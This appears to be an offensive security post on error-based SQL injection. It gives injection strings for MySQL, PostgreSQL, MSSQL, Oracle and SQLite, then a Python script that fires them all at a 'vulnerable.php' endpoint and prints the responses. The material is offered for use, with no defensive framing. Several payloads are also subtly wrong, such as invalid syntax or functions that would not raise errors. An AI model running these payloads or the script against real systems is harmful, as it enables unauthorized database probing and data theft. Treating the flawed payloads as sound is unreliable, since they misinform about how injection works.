🔥Advanced Methods to Forcefully Generate Errors on Various DBMS
Here are some advanced techniques that specific to some DBMS to force errors and gather valuable information. By using these advanced methods to force errors on different DBMS, you can gather detailed
Advanced Methods to Forcefully Generate Errors on Various DBMS
MySQL
Use of Invalid Functions
MySQL provides many functions that, when used incorrectly, can generate errors.
' AND EXP(~(SELECT * FROM (SELECT 1) t)) --
Invalid Hexadecimal Conversion
Using invalid hexadecimal values can cause errors.
' AND 0xG1 --
Subqueries in SELECT Clause
Use subqueries that return multiple rows in a single value context.
' AND (SELECT * FROM (SELECT 1,2) t) = 1 --
PostgreSQL
Invalid Regular Expression
PostgreSQL's regex functions can be used incorrectly to cause errors.
' AND 'a' ~ 'b[' --
Invalid JSON Operations
Use JSON functions with invalid operations.
' AND jsonb_path_query_first('{"a":1}', '$.a') --
Recursive CTE
Use recursive Common Table Expressions (CTE) incorrectly.
' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t --
MSSQL
Invalid XML Queries
MSSQL’s XML functions can generate errors when used with invalid XML.
'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --
Invalid Data Conversion
Conversion functions can cause errors when converting incompatible data types.
'; SELECT CAST('text' AS INT) --
SQL Injection with Error Functions
Use built-in error functions to generate errors.
'; RAISERROR('Error generated', 16, 1) --
Oracle
Invalid Data Manipulation
Oracle’s specific functions and data manipulation can cause errors.
' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --
Invalid XMLType Usage
Use XMLType improperly to cause errors.
' UNION SELECT XMLType('<invalid><xml>') FROM dual --
Using SYS.DBMS_ASSERT
Leverage Oracle’s assertion package to force errors.
' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --
SQLite
Invalid String Functions
SQLite’s string functions can generate errors when used improperly.
' UNION SELECT SUBSTR('text', -1, 1) --
Invalid Mathematical Operations
Use mathematical functions with invalid inputs.
' UNION SELECT POW('text', 2) --
Invalid Date Functions
Use date functions with incorrect parameters.
' UNION SELECT DATE('invalid_date') --
Python Script to Force Errors
Automating Error Injection
import requests
url = "http://example.com/vulnerable.php"
payloads = [
# MySQL
"' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- ",
"' AND 0xG1 -- ",
"' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- ",
# PostgreSQL
"' AND 'a' ~ 'b[' -- ",
"' AND jsonb_path_query_first('{'a':1}', '$.a') -- ",
"' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- ",
# MSSQL
"; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') -- ",
"; SELECT CAST('text' AS INT) -- ",
"; RAISERROR('Error generated', 16, 1) -- ",
# Oracle
"' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual -- ",
"' UNION SELECT XMLType('<invalid><xml>') FROM dual -- ",
"' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual -- ",
# SQLite
"' UNION SELECT SUBSTR('text', -1, 1) -- ",
"' UNION SELECT POW('text', 2) -- ",
"' UNION SELECT DATE('invalid_date') -- ",
]
for payload in payloads:
response = requests.get(url, params={"id": payload})
print(f"Payload: {payload}")
print(f"Response: {response.text}\n")
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